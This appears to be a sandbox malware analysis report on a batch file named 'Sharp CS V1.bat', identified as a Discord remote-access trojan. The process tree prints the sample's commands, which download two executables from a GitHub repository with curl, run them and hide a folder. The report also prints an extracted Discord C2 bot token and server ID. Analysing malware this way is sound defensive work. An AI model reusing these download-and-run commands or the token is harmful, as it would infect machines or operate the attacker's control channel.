Analysis
-
max time kernel
69s -
max time network
77s -
platform
windows11-21h2_x64 -
resource
win11-20240611-en -
resource tags
arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system -
submitted
29-06-2024 13:38
Static task
static1
Behavioral task
behavioral1
Sample
Sharp CS V1.bat
Resource
win11-20240611-en
General
-
Target
Sharp CS V1.bat
-
Size
551B
-
MD5
a15cfc6331f0054de73a5353ee57bf21
-
SHA1
a58aa430e12ccb6eb1da97faf6144a28bec218c1
-
SHA256
e6c1cccd7586150fa37740b2fc0c2ecb919b0d18d257a2f7ad223678c8552a80
-
SHA512
3ee703a10768f76a3afa9be065becfb05c36ad67af9ad30849f1106deb153d975938901453a957900981bcf61330b4cd57e3ca4f4566289fb8114d8bbcfc0425
Malware Config
Extracted
discordrat
-
discord_token
MTI0MzQwMDg0MDc3NDE2MDM4NQ.Gnre8o.K_NB2WHxREqF5j5C1y9xsPSpv67TWHFacISXVA
-
server_id
1256564842899181648
Signatures
-
Discord RAT
A RAT written in C# using Discord as a C2.
-
Downloads MZ/PE file
-
Executes dropped EXE 2 IoCs
Processes:
System.exePackages.exepid process 4116 System.exe 2360 Packages.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
Processes:
flow ioc 33 discord.com 35 discord.com 2 raw.githubusercontent.com 2 discord.com 18 raw.githubusercontent.com 23 raw.githubusercontent.com -
Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs
-
Drops file in Program Files directory 2 IoCs
Processes:
curl.execurl.exedescription ioc process File created C:\Program Files\System64\System.exe curl.exe File created C:\Program Files\System64\Packages.exe curl.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
System.exedescription pid process Token: SeDebugPrivilege 4116 System.exe -
Suspicious use of WriteProcessMemory 42 IoCs
Processes:
cmd.exePackages.execmd.execmd.exedescription pid process target process PID 784 wrote to memory of 4812 784 cmd.exe curl.exe PID 784 wrote to memory of 4812 784 cmd.exe curl.exe PID 784 wrote to memory of 1584 784 cmd.exe curl.exe PID 784 wrote to memory of 1584 784 cmd.exe curl.exe PID 784 wrote to memory of 4116 784 cmd.exe System.exe PID 784 wrote to memory of 4116 784 cmd.exe System.exe PID 784 wrote to memory of 2360 784 cmd.exe Packages.exe PID 784 wrote to memory of 2360 784 cmd.exe Packages.exe PID 784 wrote to memory of 2360 784 cmd.exe Packages.exe PID 2360 wrote to memory of 3844 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 3844 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 3844 2360 Packages.exe cmd.exe PID 3844 wrote to memory of 4172 3844 cmd.exe mode.com PID 3844 wrote to memory of 4172 3844 cmd.exe mode.com PID 3844 wrote to memory of 4172 3844 cmd.exe mode.com PID 2360 wrote to memory of 2068 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 2068 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 2068 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 4300 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 4300 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 4300 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 3920 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 3920 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 3920 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 3440 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 3440 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 3440 2360 Packages.exe cmd.exe PID 3440 wrote to memory of 1416 3440 cmd.exe attrib.exe PID 3440 wrote to memory of 1416 3440 cmd.exe attrib.exe PID 3440 wrote to memory of 1416 3440 cmd.exe attrib.exe PID 2360 wrote to memory of 656 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 656 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 656 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 4652 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 4652 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 4652 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 864 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 864 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 864 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 3184 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 3184 2360 Packages.exe cmd.exe PID 2360 wrote to memory of 3184 2360 Packages.exe cmd.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sharp CS V1.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:784 -
C:\Windows\system32\curl.execurl -LJO https://github.com/LongYears9/tools/raw/master/System.exe2⤵
- Drops file in Program Files directory
PID:4812 -
C:\Windows\system32\curl.execurl -LJO https://github.com/LongYears9/tools/raw/master/Packages.exe2⤵
- Drops file in Program Files directory
PID:1584 -
C:\Program Files\System64\System.exe"C:\Program Files\System64\System.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4116 -
C:\Program Files\System64\Packages.exe"C:\Program Files\System64\Packages.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c mode con:cols=0120 lines=00303⤵
- Suspicious use of WriteProcessMemory
PID:3844 -
C:\Windows\SysWOW64\mode.commode con:cols=0120 lines=00304⤵PID:4172
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c title Window Title3⤵PID:2068
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\myfiles" mkdir "C:\Users\Admin\AppData\Local\Temp\myfiles"3⤵PID:4300
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c if not exist "C:\Users\Admin\AppData\Local\Temp\wtmpd" mkdir "C:\Users\Admin\AppData\Local\Temp\wtmpd"3⤵PID:3920
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c attrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd3⤵
- Hide Artifacts: Hidden Files and Directories
- Suspicious use of WriteProcessMemory
PID:3440 -
C:\Windows\SysWOW64\attrib.exeattrib +h C:\Users\Admin\AppData\Local\Temp\wtmpd4⤵
- Views/modifies file attributes
PID:1416 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c echo:0>C:\Users\Admin\AppData\Local\Temp\i6.t3⤵PID:656
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Local\Temp\i6.bat3⤵PID:4652
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c3⤵PID:864
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c pause3⤵PID:3184
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c3⤵PID:1780
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\System64\Packages.exeFilesize
83KB
MD5e155e62ecf5be9131dadecb19213a92a
SHA19ed3d1543b037e901c8870bd360bd5d65e15bda1
SHA25670e2268a76050c6354ad22b0b997a41a48d7148219f6459acd44aadabe3bc500
SHA512fdc30e0fc2d98b27a7fd145247373e5a38856cacaf6f6f66f2716175a4e2ced25f7383a1a42c2c8863a937a345362748575db4a65945e29c3f787975e1402959
-
C:\Program Files\System64\System.exeFilesize
78KB
MD5e102b8965e704f7ec4a214ce99b135c8
SHA18cba275b20c831b3b8f0506b5be5a3b0933b77c0
SHA2568d172d0825449e0471982d06cac82536652167eee091815da823ae1d1fffedcf
SHA51271e46823794dc72ff76c674e16538d24d18d0c9cb14bfa28c0bae38a3ebeeeba7a503fea5f9f5504c631eeaffe61a2187453c2d5991dd1c84a2c6ce48f5f4158
-
C:\Users\Admin\AppData\Local\Temp\i6.batFilesize
173B
MD50f8f70e88009593eefaa155a8e31b1d6
SHA1eabcc3f2135e0919e9456da0a4b1084f3382d4b6
SHA256941c169c07670650fc6c6148c1cae068b69bac209e05010594e164aafc7cdf8b
SHA51294df468b963f3c9d133a25e1ffa57039fac01fe960f0f738552ca6440e6242ff48d0b410fe70dd05a62e4842c925c9f2b0220ca9eb9cb4ff5490ada443c9a750
-
C:\Users\Admin\AppData\Local\Temp\i6.tFilesize
3B
MD5a5ea0ad9260b1550a14cc58d2c39b03d
SHA1f0aedf295071ed34ab8c6a7692223d22b6a19841
SHA256f1b2f662800122bed0ff255693df89c4487fbdcf453d3524a42d4ec20c3d9c04
SHA5127c735c613ece191801114785c1ee26a0485cbf1e8ee2c3b85ba1ad290ef75eec9fede5e1a5dc26d504701f3542e6b6457818f4c1d62448d0db40d5f35c357d74
-
memory/4116-8-0x00007FF8E2B03000-0x00007FF8E2B05000-memory.dmpFilesize
8KB
-
memory/4116-9-0x000002CE625C0000-0x000002CE625D8000-memory.dmpFilesize
96KB
-
memory/4116-10-0x000002CE7CCF0000-0x000002CE7CEB2000-memory.dmpFilesize
1.8MB
-
memory/4116-17-0x000002CE7E260000-0x000002CE7E788000-memory.dmpFilesize
5.2MB